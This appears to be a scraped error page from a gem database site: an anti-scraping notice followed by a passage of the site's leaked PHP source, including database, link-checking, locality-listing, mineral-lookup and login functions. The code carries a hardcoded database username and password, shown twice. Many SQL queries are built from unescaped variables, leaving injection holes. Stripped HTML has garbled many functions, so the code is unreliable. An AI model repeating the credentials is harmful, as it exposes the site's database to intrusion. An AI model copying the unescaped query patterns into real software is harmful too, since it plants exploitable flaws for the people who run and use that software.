Page not available

Please note, you are not allowed to use offline web copiers or automated scripts to access data on gemdat.org, doing so is prohibited on this site, as it is unfair to gemdat.org and to other users. It's also a crazy thing to attempt, as the volume of data you would need to copy is enormous (hundreds of gigabytes).

You may be tempted to use a fake browser identification string to get around this restriction, but be aware that your IP address has been logged, and further attempts to automatically copy this site will result in a block of your IP, or range of IPs, which may also affect other people in your area. If you are getting this error by mistake please try an alternative web browser.

Jolyon close(); $mysqli = new mysqli("localhost","mindat_user","b0g0sity!9elephant78143","mindat"); // if($link) mysql_close($link); } $link = opendb(); //$ref_object = new ref_track($link); require "cform/cform.php"; function mysql_quick($sql) { global $link; if(!$link) $link = opendb(); $r=mysql_query($sql,$link); $rt = mysql_result($r,0); mysql_free_result($r); return($rt); } function devserver() { if($_SERVER["HTTP_HOST"]=="gemdat.awj.mine.nu") return(1); return(0); } function breadcrumb($url,$txt) { print "$txt"; } function get_thumb($src,$w,$h,$col="FFFFFF",$pct=78) { $col = strtoupper($col); $bits = explode("/",$src); $bit = $bits[count($bits)-1]; $dirname = substr($bit,0,4); $src2 = str_replace("/","_",$src); $filename = "/nuthumbs/$dirname/{$w}_{$h}_{$col}_{$src2}"; $b = explode(":",$w); if($b[1]) { $w2 = $b[1]; $w = $b[0]; } else $w2=$w; $b = explode(":",$h); if($b[1]) { $h2 = $b[1]; $h = $b[0]; } else $h2=$h; if(!file_exists($filename)) { @mkdir($_SERVER["DOCUMENT_ROOT"]."/nuthumbs/$dirname"); if(strpos(" $src","/")) { resize_pic($_SERVER["DOCUMENT_ROOT"]."/$src",$_SERVER["DOCUMENT_ROOT"].$filename,$w,$w2,$h,$h2,$pct,$col); } else { resize_pic($_SERVER["DOCUMENT_ROOT"]."/photos/$src",$_SERVER["DOCUMENT_ROOT"].$filename,$w,$w2,$h,$h2,$pct,$col); } } return($filename); } function hard($hard) { $hard = "$hard"; $hard = str_replace(".0","",$hard); $hard = str_replace(".5","½",$hard); return($hard); } function psg($txt) { $n = 0; $out = ""; $uln = 0; for($x=0;$x"; $out.= $txt[$x]; if($uln) $out.=""; $uln=0; if($n) $out.= ""; $n=1; } else { if($txt<>' ') { $n=0; if($txt[$x]=="-") { $uln=1; } else { if($txt[$x]=="/") $out.="/"; else $out.="".$txt[$x].""; } } } } $out = str_replace("
  • ","",$out); print $out; } function mprint($txt) { print mget($txt); } function label($txt) { print " 

    $txt

    "; } function comment($txt) { print "$txt"; } function rowstart($txt,$class="",$small="") { print "$txt"; if($small) print "
    $small
    "; print ""; } function rowend() { print " "; } function fboxstart() { print "
    "; } function fboxend() { print "
    "; print "
    "; } function checkurl($url, $timeout = 30) { global $link; $hlink = mysql_real_escape_string($url); $ch = curl_init(); // get cURL handle // set cURL options $opts = array(CURLOPT_RETURNTRANSFER => true, // do not output to browser CURLOPT_URL => $url, // set URL CURLOPT_NOBODY => true, // do a HEAD request only CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)", CURLOPT_TIMEOUT => $timeout); // set timeout curl_setopt_array($ch, $opts); curl_exec($ch); // do it! $retval = curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200; // check if HTTP OK curl_close($ch); // close handle $src = mysql_real_escape_string($_SERVER["REQUEST_URI"]); if($retval) { mysql_query("insert into linkchecker set lc_link='$hlink',lc_datechecked=now(), lc_lastok=now(), lc_page='$src' on duplicate key update lc_datechecked=now(), lc_lastok=now(), lc_page='$src'",$link); } else { mysql_query("insert into linkchecker set lc_link='$hlink',lc_datechecked=now(), lc_page='$src' on duplicate key update lc_datechecked=now(), lc_page='$src'",$link); } } function linkurl($url,$txt="",$class="") { global $link; $hlink = mysql_real_escape_string($url); $sql = "select * from linkchecker where lc_link='$hlink'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); $sixmonths = date("Y-m-d",strtotime("now - 6 months")); $twomonths = date("Y-m-d",strtotime("now - 2 months")); if((!$row)||($row->lc_datechecked<$twomonths)||($_GET["cacheclear"])) { checkurl($url); $sql = "select * from linkchecker where lc_link='$hlink'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); } if($row->lc_lastok<$row->lc_datechecked) { $qu = "[Link Broken?]"; if($row->lc_lastok<$sixmonths) { if(!$txt) { print ""; } else { print "$txt [Link dead]"; } return; } } else $qu=""; print ""; if($txt) print "$txt$qu"; } function getlinkurl($url,$txt="",$class="") { $out=""; if($txt) $out.="$txt"; return($out); } function getmintype($id) { // note you should probably cache the output of this function where possible. global $link; $sql = "select * from minerals where id='$id'"; // note if something like id2min has been called this will be in the cache. $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row->varietyof) return('v'); if($row->synid) return('s'); if($row->ima==1) return('m'); // ima-approved // ok now it could be any old stuff... $sql = "select * from relations where min2='$id'"; $res = mysql_query($sql,$link); $rrow = mysql_fetch_object($res); if($rrow->rel==1) return('ms'); if($rrow->rel==4) return('g'); return('m'); } function getvarparent($id) { global $link; $sql = "select m2.gd_id from gd_info as m1,gd_info as m2 where m1.gd_id='$id' and m2.gd_id=m1.gd_variety"; $res = mysql_query($sql,$link); $id = @mysql_result($res,0); mysql_free_result($res); return($id); } function loclist($result,$link,$cols=2,$originalmin=0,$subloc=array()) { global $do_googlemap; $max_level=999; $count = mysql_num_rows($result); // $cols = 2; if($cols==1) print ""; else print "
    "; $pct = floor(100 / $cols); print ""; print "
    "; print ""; $col = $count/$cols; $cc = 0; $rs = 1; $lastloc = 0; while(($row2=mysql_fetch_object($result))) { if(($row2->loc<>$lastloc)||($originalmin==0)) { $cc++; $split = explode(",",$row2->revtxtd); $cnt = count($split); if($cnt<2 || $split[2]<>$old[2]) { if($cc>$col) { print "
    "; $cc=1; $old = ""; $col=9999999; } } print ""; $old[0] = $split[0]; if ($cols==1)print ""; $lastloc = $row2->loc; } print "
    "; $cnt = count($split); if($split[0]<>$old[0]) { print "
    "; if($cnt==1) { print"id.html\">"; } print "
    $split[0]
    "; if($cnt==1) print "
    "; if(($cnt==1)&&($subloc[$row2->id]==1))print"+"; print "
    "; if($cnt==1) { if($originalmin) { if($row2->min!=$originalmin) { $newminname = $mncache[$row2->min]; $newminvarof = $mvocache[$row2->min]; if(!$newminname) { $newminname = $mncache[$row2->min]=id2min($row2->min,$link); $newminvarof = $mvocache[$row2->min]=getvarparent($row2->min,$originalmin); } print "["; if(($newminvarof!=$originalmin)&&($newminvarof)) { $nvname = $mncache[$newminvarof]; if(!$nvname) { $nvname = $mncache[$newminvarof] = id2min($newminvarof,$link); } print "$nvname "; } if($newminvarof) print "var: "; print "{$newminname}] "; } } if($row2->reftxt) print "$row2->reftxt"; else print " "; } else print " "; print "
    "; else print "
    "; } for($i=1;$i<$cnt;$i++) { print "\r\n"; if($i<$max_level) { $split[$i] = trim($split[$i]); if(@strcasecmp($split[$i],$old[$i])) { for($x=0;$x<$i;$x++) print ""; $old[$i]=$split[$i]; for($k=$i+1;$k<$cnt;$k++) $old[$k]=""; } } } print ""; if($cnt>1) { if($originalmin) { if($row2->min!=$originalmin) { $newminname = $mncache[$row2->min]; $newminvarof = $mvocache[$row2->min]; if(!$newminname) { $newminname = $mncache[$row2->min]=id2min($row2->min,$link); $newminvarof = $mvocache[$row2->min]=getvarparent($row2->min,$originalmin); } print "["; if(($newminvarof!=$originalmin)&&($newminvarof)) { $nvname = $mncache[$newminvarof]; if(!$nvname) { $nvname = $mncache[$newminvarof] = id2min($newminvarof,$link); } print "$nvname "; } if($newminvarof) print "var: "; print "min}.html\">$newminname] "; } } /* if($originalmin) { if($row2->min!=$originalmin) { $newminname = $mncache[$row2->min]; if(!$newminname) { $newminname = $mncache[$row2->min]=id2min($row2->min,$link); } print "[var: $newminname] "; } } */ print "$row2->reftxt"; if($_SESSION["accl"]>2) { print " id\"> [Edit] "; } } } print "
    "; } function loclistclean($result,$link,$cols=2,$cutoff=0,$pparts=1) { global $do_googlemap; $max_level=999; $count = mysql_num_rows($result); $cols = 2; // always 2 from now on. print ""; if($count<10) $cols=1; // $pct = floor(100 / $cols); print ""; print "
    "; $col = $count/$cols; $cc = 0; $rs = 1; $lastloc = 0; $ul=0; while(($row2=mysql_fetch_object($result))) { // if(($row2->loc<>$lastloc)||($originalmin==0)) if(1) { $cc++; // this checks whether we can split $res2 = mysql_query("select id from localities where revtxtd like '".addslashes($row2->revtxtd).", %' limit 1",$link); $do_sublocs = @mysql_result($res2,0); $split = explode(",",$row2->revtxtd); $cnt = count($split); if(($cnt<=($pparts+1))||($cutoff==0)) { if($cc>$col) { for($x=$ul;$x>0;$x--) print ""; $ul=0; print ""; $cc=1; $old = ""; $col=9999999; } } $bits = explode(",",$row2->revtxtd); // now the isle of scilly problem. $pcts = $cutoff-count($bits); if($pcts) { $sql = "select count(*) from localities where revtxtd like '".addslashes($row2->revtxtd).", %"; for($i=0;$i<$pcts;$i++) $sql.=", %"; $sql.= "' and parent='$row2->id'"; $ncres = mysql_query($sql,$link); $iscount=mysql_result($ncres,0); // print $sql; } else $iscount=0; // print "
    count bits = ".count($bits)." cutoff = $cutoff iscount=$iscount"; if(((count($bits)<$cutoff)&&($iscount==0))||($cutoff==0)) { $do_sublocs=0; } if($split[0]<>$old[0]) { print "
    "; if($cnt==1) { print"id.html\">"; } print "$split[0]"; if($cnt==1) print ""; // if(($cnt==1)&&($subloc[$row2->id]==1))print"+"; $old[0] = $split[0]; print "
    "; } for($i=1;$i<$cnt;$i++) { if($i<$max_level) { $split[$i] = trim($split[$i]); if(strcasecmp($split[$i],$old[$i])) { // for($x=0;$x<$i;$x++) print "
      "; if($i<$ul) { for($x=$ul;$x>$i;$x--) print "
    "; $ul=$i; } if($i>$ul) { print ""; print "
    "; } function loclista($result,$link) { $count = mysql_num_rows($result); print ""; print ""; } function simplifyloc($txt) { $kill=array("mine","co.","quarry","township","grube","workings","wheal","property","deposit","prospect","group"); if(!$clean) $txt = strtolower($txt); $bits = explode(" ",$txt); for($i=0;$i"; $l = strlen($spc); $m = 0; $ret.=""; while($m < $l) { if($spc[$m]=="-" || $spc[$m]=="_") { $m++; $ret.=""; $m++; } $ret.=""; $m = 0; while($m < $l) { if($spc[$m]=="-" || $spc[$m]=="_") { } else { $ret.=""; } $m++; } $ret.="
    "; print ""; while(($row2=mysql_fetch_object($result))) { print ""; } print "
    "; print "id.".html\">"; print ""; print $row2->txt; print ""; print ""; print "
    "; } function mserror($sql) { if(mysql_error()) { print "
    ERROR:
    "; // print mysql_error(); print "
    "; // print $sql; print "
    "; } } function num2estr($num) { $out = ""; $c = array("ra","di","ta","gi","ho","me","ne","li","so","fu"); $x = strlen($num); for($i=0;$i<$x;$i++) { $out.=$c[$num[$x]]; } return($out); } function estr2num($str) { $c = array("ra","di","ta","gi","ho","me","ne","li","so","fu"); foreach($c as $idx=>$val) { $str=str_replace($val,$idx,$str); } } function minselectrow($x,$allowzero=1) { global $cf; global $link; $var1 = "name$x"; $var2 = "oname$x"; global $$var1,$$var2; $var3 = "min$x"; global $$var3; print "
    "; print "Mineral $x"; print ""; $dolist = 0; if($$var1<>$$var2) $dolist=1; if(($allowzero==0) && ($$var1=="")) $dolist=0; if($$var3) { $$var1 = id2min(desynonym($$var3),$link); $$var2=$$var1; $cf->loadvar($var1); $cf->loadvar($var2); } if($dolist) { if($$var1<>"") { $ename = english($$var1); if($allowzero) $cf->addselectsql("min$x",$sql="select id,name from minerals where sortname like '%$ename%' order by name",$link,0,"- None - "); else $cf->addselectsql("min$x",$sql="select id,name from minerals where sortname like '%$ename%' order by name",$link); } else { print "- None -"; $$var3=0; $cf->loadvar($var3); $cf->addhidden("min$x"); } $$var2=$$var1; $cf->loadvar($var2); $cf->addhidden("name$x"); $cf->addhidden("oname$x"); } else { $cf->addtext("name$x"); $cf->addhidden("oname$x"); } print "
    "; } else $ret.=""; $ret.="
    "; if($spc[$m]>"9") $ret.=""; $ret.= $spc[$m]; if($spc[$m]>"9") $ret.=""; $ret.= "
    "; return $ret; } function apostrophe($str) { if(strtolower($str[strlen($str)-1])=="s") $str.= "'"; else $str.="'s"; return($str); } function loc2id($id) { global $link; $res2 = mysql_query("select localities.id from localities where txt like '$id'",$link); $row2 = mysql_fetch_object($res2); $name = $row2->id; mysql_free_result($res2); return($name); } function loc2txt($id) { global $link; if($id==0) return(""); $res2 = mysql_query("select localities.txt from localities where id = $id",$link); $row2 = mysql_fetch_object($res2); $name = $row2->txt; mysql_free_result($res2); return($name); } function id2min($id) { global $link; if($id==0) return(""); $res2 = mysql_query("select minerals.name from minerals where id = '$id'",$link); $row2 = mysql_fetch_object($res2); $name = $row2->name; mysql_free_result($res2); return($name); } function id2formula($id) { global $link; $res2 = mysql_query("select minerals.formula from minerals where id = $id",$link); $row2 = mysql_fetch_object($res2); $form = $row2->formula; mysql_free_result($res2); return($form); } function buttonstart($extra="") { print "
    "; } function buttonend() { print "
    "; } function betterbuttonstart($extra="",$class="buttonstrip") { ?>$text"; /* */ } function gdbutton($text,$link) { $f=""; if(substr($link,0,4)!="http") $link="/".$link; else $f = " target=\"blank\""; ?>
    "; } function iboxend() { print ""; } function icachead() { global $ICACHE; $ICACHE++; print "
    %%AD$ICACHE"."%%
    "; } function ihead($text) { print "
    $text
    "; } function iadvert($file,$link,$ht) { ?> AdvertWant to suggest a link?
    "; print "You need to log-in first before you can suggest any new links! Click here to log-in"; print ""; } else { if($edit) { $sql = "select * from links where id='$edit'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); $url = addslashes($row->url); $txt = addslashes($row->txt); $cat = $row->cat; } else { $url=""; $txt=""; $cat=0; } print ""; print "Want to suggest a link?
    "; print "
    onClick="location='';">> onClick="location='';" bordercolor="#000000" bgcolor="#D4EEED">
    "; print ""; print ""; if($loc) print ""; if($min) print ""; if($edit) print ""; print ""; print "
    URL for site (without http://)
    Text description
    Classification
    "); print(""); } } function addminloc($loc,$min,$ref,$link) { global $accl, $userid; if(!$link) $link = opendb(); $row = mysql_fetch_object(mysql_query("select * from locentries where loc = $loc and min = $min",$link)); if(!$row) { $chk = 0; if($accl>1) $chk = $userid; $stmt = "insert into locentries (loc, min, reftxt, checkedby) values($loc,$min,'$ref',$chk)"; $res = mysql_query($stmt,$link); } else { mysql_query("update locentries set reftxt = '$ref' where leid = $row->leid",$link); } } function trimstring($film,$max=100) { if(strlen($film)>$max) { $cnt = $max; $film = substr($film,0,$max); while($film[$cnt-1]!=" " && $cnt>0) { $film=substr($film,0,$cnt-1); $cnt--; } $film.=" ..."; } return($film); } function revloc($txt) { $revarray = explode(',',$txt); $revtxt = ""; while(list($key,$value)=each($revarray)) { // printf("key = $key, value = $value
    "); $value = trim($value); if($revtxt) $revtxt = "$value, $revtxt"; else $revtxt = $value; } return $revtxt; } function opendb($db="mindat") { global $link; if(!$link) { if(!($link=@mysql_connect('localhost','mindat_user','b0g0sity!9elephant78143'))) { ?> Fatal Error - Unable to connect to database. Fatal Error - Unable to select database. id' "; $str = sqlvarieties($row->id,$cmp,$str); } return($str); */ $a = get_varieties($id,str_replace("=","",$cmp)); if($a[0]) return(" or ".$a[0]); return(""); } function get_varieties($minid,$sid='id',$mindatmode=0) { global $marray; global $link; $marray = array(); //now rewritten using recusive code. easier to understand! // not entirely sure how the old one worked but it made my head hurt. // also added support for multi-synonyms and groups. This is important. // ie searching for 'Apatite' should return fluorapatite, etc. // first get array of objects recurse_varieties($minid,$mindatmode); $j=''; if(count($marray)) { foreach($marray as $key=>$subarray) { $sql.= "$j $sid='$key' "; $j="or"; } } // print "sql = $sql "; $ids[0]=$sql; $ids[1]=$marray; return($ids); } function recurse_varieties($id,$mindatmode=0) { global $link; global $marray; $res = mysql_query($s = "select id,name from minerals,gd_info where gd_variety=$id and gd_id=id",$link); while($row = mysql_fetch_object($res)) { if($mindatmode) { $minid = mindesynonym($row->id); $gdid = desynonym($minid); if($gdid!=$row->id) { $row->id = $minid; $row->name = id2min($row->id); } } if(!$marray[$row->id]) { $marray[$row->id][0]=$row->name; $marray[$row->id][1]='v'; recurse_varieties($row->id); } } } /* This has now been replaced! function get_varieties($minid,$sid='id') { #Get varieties and polytypes of minid. Generate where clause mysql conditions using id 'sid' for mineral, varieties and polytypes global $link; if(!$link) $link = opendb(); $sql = "select id,name from minerals where varietyof = '$minid'"; $sql1=$sid." = '$minid' "; $rownumvt=0; while (True) { $res = mysql_query($sql,$link); $rownumv = mysql_num_rows($res); $passone=0; $rownumvt=$rownumv+$rownumvt; $sql2=""; if($rownumv>0) { while ($row = mysql_fetch_object($res)) { if ($passone==1) { $sql1.="or ".$sid." = '$row->id' "; $sql2.="or varietyof= '$row->id' "; }else { $sql1.="or ".$sid." = '$row->id' "; $sql2.="varietyof= '$row->id' "; $passone=1; } $marray[$row->id][0]=$row->name; $marray[$row->id][1]="v"; } } else break; $sql = "select id,name from minerals where ".$sql2; } #Now do polytypes $sql = "select id,name from minerals where polytypeof = '$minid'"; while (True) { $res = mysql_query($sql,$link); $rownump = mysql_num_rows($res); if(($rownumvt==0)&&($rownump==0)) { $ids[0]=$sql1; $ids[1]='0'; return($ids); } $passone=0; if($rownump>0) { while ($row = mysql_fetch_object($res)) { if ($passone==1) { $sql1.="or ".$sid." = '$row->id' "; $sql2.="or polytypeof= '$row->id' "; }else { $sql1.="or ".$sid." = '$row->id' "; $sql2.="polytypeof= '$row->id' "; $passone=1; } $marray[$row->id][0]=$row->name; $marray[$row->id][1]="p"; } } else break; $sql = "select id,name from minerals where ".$sql2; } $ids[0]=$sql1; $ids[1]=$marray; return($ids); } */ // this function converts a name of mineral into id, removing synonyms etc. function min2id($name) { $id = desynonym(min2idnods($name)); return($id); } function min2idnods($name) { global $link; if($name=="") return(0); $aname = english($name); if(!$aname) $aname = $name; $sql = "select id from minerals where sortname = '$aname' or name='".mysql_real_escape_string($name)."'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) return(0); return($row->id); } // this function removes synonyms. function gem2id($name,$ignore=0) { global $link; if($name=="") return(0); $aname = english($name); if(!$aname) $aname = $name; $sql = "select id from minerals,gd_info where gd_id=id and (sortname = '$aname' or name='".mysql_real_escape_string($name)."')"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) return(0); $id = desynonym($row->id,$ignore); return($id); } function desynonym($id,$ignore=0) { global $link; if(!$id) return(0); $sql = "select * from gd_info where gd_id='$id'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(($row->gd_synid)&&($row->gd_synid<>$ignore)) return desynonym($row->gd_synid,$ignore); else return $id; } function mindesynonym($id) { global $link; if($id==0) return(0); $res = mysql_query("select id,synid from minerals where id = $id",$link); $row = mysql_fetch_object($res); while($row->synid) { $res = mysql_query("select id,synid from minerals where id = $row->synid",$link); $row = mysql_fetch_object($res); } return($row->id); } function devariety($id) { global $link; $id = desynonym($id); $res = mysql_query($sql="select id,name,varietyof from minerals where id = $id",$link); $row = mysql_fetch_object($res); while($row->varietyof) { $res = mysql_query("select id,name,varietyof from minerals where id = $row->varietyof",$link); $row = mysql_fetch_object($res); } return($row->id); } function varietyparent($id,&$name,$link=0) { if(!$link) $link = opendb(); $res = mysql_query($sql="select id,name,varietyof from minerals where id = $id",$link); $row = mysql_fetch_object($res); while($row->varietyof) { $res = mysql_query("select id,name,varietyof from minerals where id = $row->varietyof",$link); $row = mysql_fetch_object($res); } if($row->id<>$id) $name = $row->name; return($row->id); } function locdesynonym($id) { global $link; $res = mysql_query("select id,synid from localities where id = $id",$link); $row = mysql_fetch_object($res); while($row->synid) { $res = mysql_query("select id,synid from localities where id = $row->synid",$link); $row = mysql_fetch_object($res); } return($row->id); } function top_blogs($max,$type='blog',$link=0) { if(!$link) global $link; $sql = "select * from articles,users where ar_site='gemdat.org' and ar_type='$type' and ar_date<=now() and ar_live=1 and ar_uid=uid order by ar_date desc, ar_timestamp desc limit $max"; $res = mysql_query($sql,$link); $today = date("Y-m-d"); $yesterday = date("Y-m-d",strtotime("yesterday")); while($row=mysql_fetch_object($res)) { $sql = "select count(*) from blogcomments where bc_ar_id=$row->ar_id"; $countres = mysql_query($sql,$link); $count = mysql_result($countres,0); mysql_free_result($countres); $td = date("Y-m-d",strtotime($row->ar_date));; if($type=='article') $td = date("Y-m-d",strtotime($row->ar_timestamp)); if($td==$today) $d="Today"; else if($td==$yesterday) $d="Yesterday"; else $d=date("jS M Y",strtotime($td)); print "
  • "; print "ar_id/".urlencode($row->ar_title)."\">$row->name - $d$row->ar_title
  • "; } } function top_locs($max,$link=0) { if(!$link) global $link; $res = mysql_query("select * from localities order by id desc limit $max",$link); while($row=mysql_fetch_object($res)) { $txt = $row->txt; // ibutton($txt,"loc-$row->id.html"); print "
  • id.html\">$row->txt
  • "; } } function top_mins($max,$link=0) { if(!$link) global $link; $res = mysql_query("select * from minerals order by id DESC limit $max",$link); while($row=mysql_fetch_object($res)) { print "
  • id.html\">"; print "$row->name "; print whatis($row); print "
  • "; // ibutton($row->name,"min-$row->id.html"); } } function printbigsitephoto($row,$doname=1,$locid=0,$link=0) { print "
    forsale) print " background=\"buy.gif\""; print " onclick=\"location='sitepicshow.php?id=$row->pid'\">"; print("
    pid\">"); print("\"Sitefilename&sc=200&cmp=70&od=g\">"); // print("filename\">"); print("
    "); if($doname) print "$row->txt"; if($locid) print "
    ".loc2txt($locid,$link)."
    "; if($row->copyright2) { if($doname) print "
    "; if($row->curl) linkurl($row->curl); print("© $row->copyright2"); if($row->curl) print(""); } printf("
    "); print ("
    "); } function printbigphoto($row,$doname=1,$locid=0,$link=0,$sh=0,$fp=0,$extra="") { $w = 200; if($sh) $w=$sh*$w; $w2 = $w+35; // print "
    "; print "pid.html"; // if($fp) print "&fp=1"; print "\">"; print "filename\">"; // print("filename\">"); if($doname) print "$row->name"; if($doname) print "
    "; if($locid) print "
    ".loc2txt($locid,$link)."
    "; if($row->copyright2) { print "uid.html\">"; // if($row->curl) linkurl($row->curl); print("© $row->copyright2"); print""; } else print " "; print ""; } function oldprintbigphoto($row,$doname=1,$locid=0,$link=0,$sh=0,$fp=0,$extra="") { $w = 200; if($sh) $w=$sh*$w; $w2 = $w+35; print "
    forsale) print " background=\"buy.gif\""; // print " onclick=\"location='photo-$row->pid.html"; // if($fp) print "&fp=1"; // print "'\">"; print "
    pid.html"; // if($fp) print "&fp=1"; print "\">"; print "\"Sitefilename&sc=200&cmp=70&od=g\">"; // print("filename\">"); print("
    "); if($doname) print "$row->name"; if($doname) print "
    "; if($locid) print "
    ".loc2txt($locid,$link)."
    "; if($row->copyright2) { if($row->curl) linkurl($row->curl); print("© $row->copyright2"); if($row->curl) print(""); } else print " "; printf("
    "); print ("
    "); } function printphoto($row,$doname=1,$extra="",$border=1,$notext=0) { if($notext) { $wid = 80; $ht = 70; } else { $wid = 125; $ht = 140; } print "
    forsale) print " background=\"buy.gif\""; print " onclick=\"location='picshow.php?id=$row->pid'\">"; print("
    pid\">"); print("\"Photo\"filename\">"); // print("filename\">"); if(!$notext) { print("
    "); if($doname) print "$row->name"; if($row->copyright2) { if($doname) print "
    "; if($row->curl) linkurl($row->curl); print("© $row->copyright2"); if($row->curl) print("
    "); } printf(""); } print ("
    "); } function stranyreplace($needle,$new,$haystack) { $out = $haystack; for($x=0;$x"; } return($out); } function to7bit($text,$from_enc) { // basic mapping code extended by Jolyon with all Latin Extended A block chars // see: // http://jrgraphix.net/research/unicode_blocks.php?block=2 // $text = mb_convert_encoding($text,'HTML-ENTITIES',$from_enc); $text = htmlspecialchars($text, ENT_QUOTES | ENT_HTML401, $from_enc); $text = preg_replace( array('/ß/','/&(..)lig;/','/&(.)uml;/', '/&(.)acute;/','/&(.)grave;/','/&(.)tilde;/', '/&(.)caron;/','/&(.)circ;/','/&(.)cedil;/', '/&(.)slash;/','/&(.)re;/','/&(.)ring;/', '/ð/','/Ð/','/&quo;/','/´/','/&(.)dash;/', '/°/','/’/','/&frac(..);/', '/Ā/', '/ā/', '/Ă/', '/ă/', '/Ą/', '/ą/', '/Ć/', '/ć/', '/Ĉ/', '/ĉ/', '/Ċ/', '/ċ/', '/Č/', '/č/', '/Ď/', '/ď/', '/Đ/', '/đ/', '/Ē/', '/ē/', '/Ĕ/', '/ĕ/', '/Ė/', '/ė/', '/Ę/', '/ę/', '/Ě/', '/ě/', '/Ĝ/', '/ĝ/', '/Ğ/', '/ğ/', '/Ġ/', '/ġ/', '/Ģ/', '/ģ/', '/Ĥ/', '/ĥ/', '/Ħ/', '/ħ/', '/Ĩ/', '/ĩ/', '/Ī/', '/ī/', '/Ĭ/', '/ĭ/', '/Į/', '/į/', '/İ/', '/ı/', '/IJ/', '/ij/', '/Ĵ/', '/ĵ/', '/Ķ/', '/ķ/', '/ĸ/', '/Ĺ/', '/ĺ/', '/Ļ/', '/ļ/', '/Ľ/', '/ľ/', '/Ŀ/', '/ŀ/', '/Ł/', '/ł/', '/Ń/', '/ń/', '/Ņ/', '/ņ/', '/Ň/', '/ň/', '/ʼn/', '/Ŋ/', '/ŋ/', '/Ō/', '/ō/', '/Ŏ/', '/ŏ/', '/Ő/', '/ő/', '/Œ/', '/œ/', '/Ŕ/', '/ŕ/', '/Ŗ/', '/ŗ/', '/Ř/', '/ř/', '/Ś/', '/ś/', '/Ŝ/', '/ŝ/', '/Ş/', '/ş/', '/Š/', '/š/', '/Ţ/', '/ţ/', '/Ť/', '/ť/', '/Ŧ/', '/ŧ/', '/Ũ/', '/ũ/', '/Ū/', '/ū/', '/Ŭ/', '/ŭ/', '/Ů/', '/ů/', '/Ű/', '/ű/', '/Ų/', '/ų/', '/Ŵ/', '/ŵ/', '/Ŷ/', '/ŷ/', '/Ÿ/', '/Ź/', '/ź/', '/Ż/', '/ż/', '/Ž/', '/ž/', '/ſ/', '/ə/', '/ṙ/','/‪/', '/ș/', '/Ș/', '/ț/', '/№/', '/Ḥ/', '/ṣ/', '/Ț/', ), array('ss',"$1","$1", // was .'e', for umlaut handling before "$1","$1","$1","$1","$1","$1","$1","$1","$1",'o','D','','','','o','',"$1", // for other accents 'A','a','A','a','A','a','C','c','C','c','C','c','C','c','D','d', 'D','d','E','e','E','e','E','e','E','e','E','e','G','g','G','g', 'G','g','G','g','H','h','H','h','I','i','I','i','I','i','I','i', 'I','i','Ij','ij','J','j','K','k','k','L','l','L','l','L','l','L', 'l','L','l','N','n','N','n','N','n','n','N','n','O','o','O','o', 'O','o','Oe','oe','R','r','R','r','R','r','S','s','S','s','S','s', 'S','s','T','t','T','t','T','t','U','u','U','u','U','u','U','u', 'U','u','U','u','W','w','Y','y','Y','Z','z','Z','z','Z','z','', 'e','r','','s','S','t','No','H','s','T', ), $text); return $text; } function english($txt,$caps=1) { $txt1=stranyreplace("\\- /'&()[].;,?�","",$txt); $txt = to7bit($txt1,"UTF-8"); if($caps) { $txt = strtoupper(stranyreplace("\\- /'&()[].;,?�","",$txt)); } return($txt); } /* function english($txt,$caps=1) { $out = ""; $txt = mb_convert_encoding($txt,"ISO-8859-1","UTF-8"); if($caps) $in = strtoupper($txt); else $in = $txt; if($caps) { $in = stranyreplace("������������","A",$in); $in = stranyreplace("��������","E",$in); $in = stranyreplace("��������","I",$in); $in = stranyreplace("������������","O",$in); $in = stranyreplace("��","AE",$in); $in = stranyreplace("��������","U",$in); $in = stranyreplace("���","Y",$in); $in = stranyreplace("��","C",$in); $in = stranyreplace("��","N",$in); $in = str_replace("�","SS",$in); $in = str_replace("#945","A",$in); $in = str_replace("#946","B",$in); $in = str_replace("#269","C",$in); $in = str_replace("#268","C",$in); $in = str_replace("#353","S",$in); $in = str_replace("#345","R",$in); // $in = str_replace("#328","N",$in); } else { $in = str_replace("#945;","a",$in); $in = str_replace("#946;","b",$in); $in = str_replace("#269;","c",$in); $in = str_replace("#268;","c",$in); $in = str_replace("#353;","s",$in); $in = str_replace("#345;","r",$in); } return($in); } */ function photolist($link=0) { if(!$link) $link = opendb(); // $stmt = "select minerals.name, photo.* from photo, minerals where minerals.id = photo.min1 and photo.parent=0 and photo.checkedby > 0 ORDER BY photo.pid desc LIMIT 9"; $stmt = "select minerals.name, photo.* from photo, minerals where minerals.id = photo.min1 and photo.parent=0 and photo.parent=0 and photo.checkedby > 0 ORDER BY date_format(photo.lastview, '%Y%M%D'), photo.ppop LIMIT 9"; if($result = mysql_query($stmt,$link)) { print(""); $cnt = 0; while(($row=mysql_fetch_object($result))) { if(!$cnt) printf(""); print""); $cnt++; if($cnt==3) { print(""); $cnt=0; } } print("
    "; printphoto($row); print("
    "); mysql_free_result($result); } } function pvar_dump(&$var) { print "
    ";
    	var_dump($var);
    	print "
    "; } function init_session() { global $link; global $PHORUM; global $email,$password,$userid,$accl,$ref,$helper; session_start(); $userid = $_SESSION['userid']; $accl = $_SESSION['accl']; $helper = $_SESSION['helper']; if(!$_GET["kb"]) { $_SESSION["usedb"]=0; } if(!$userid) { if(!$email) { $email = $_POST["email"]; $password = $_POST["password"]; } if((strchr($email,'@'))&&($password)) { if(!$link) $link = opendb(); $result = mysql_query($sql="select * from users where email='".mysql_real_escape_string(stripslashes($email))."'",$link); $row=mysql_fetch_object($result); if(!validate_password($password,$row->hash)) $row=0; if($row) { $userid = $row->uid; if($row->accesslevel) $accl=1; if(checkaccess("Gemdat Admin",$userid)) $accl=3; $helper = $row->helper; $_SESSION["userid"]=$userid; $_SESSION["accl"]=$accl; $_SESSION["helper"]=$helper; mysql_query("update users set lastlogin = now() where uid='$userid'",$link); if($ref) { if(substr($ref,0,11)=="remind.php?") $ref="/"; header("location: $ref"); exit(); } } else { if($_GET["f"]==1) header("location: index.php"); else header("location: login.php?f=1"); 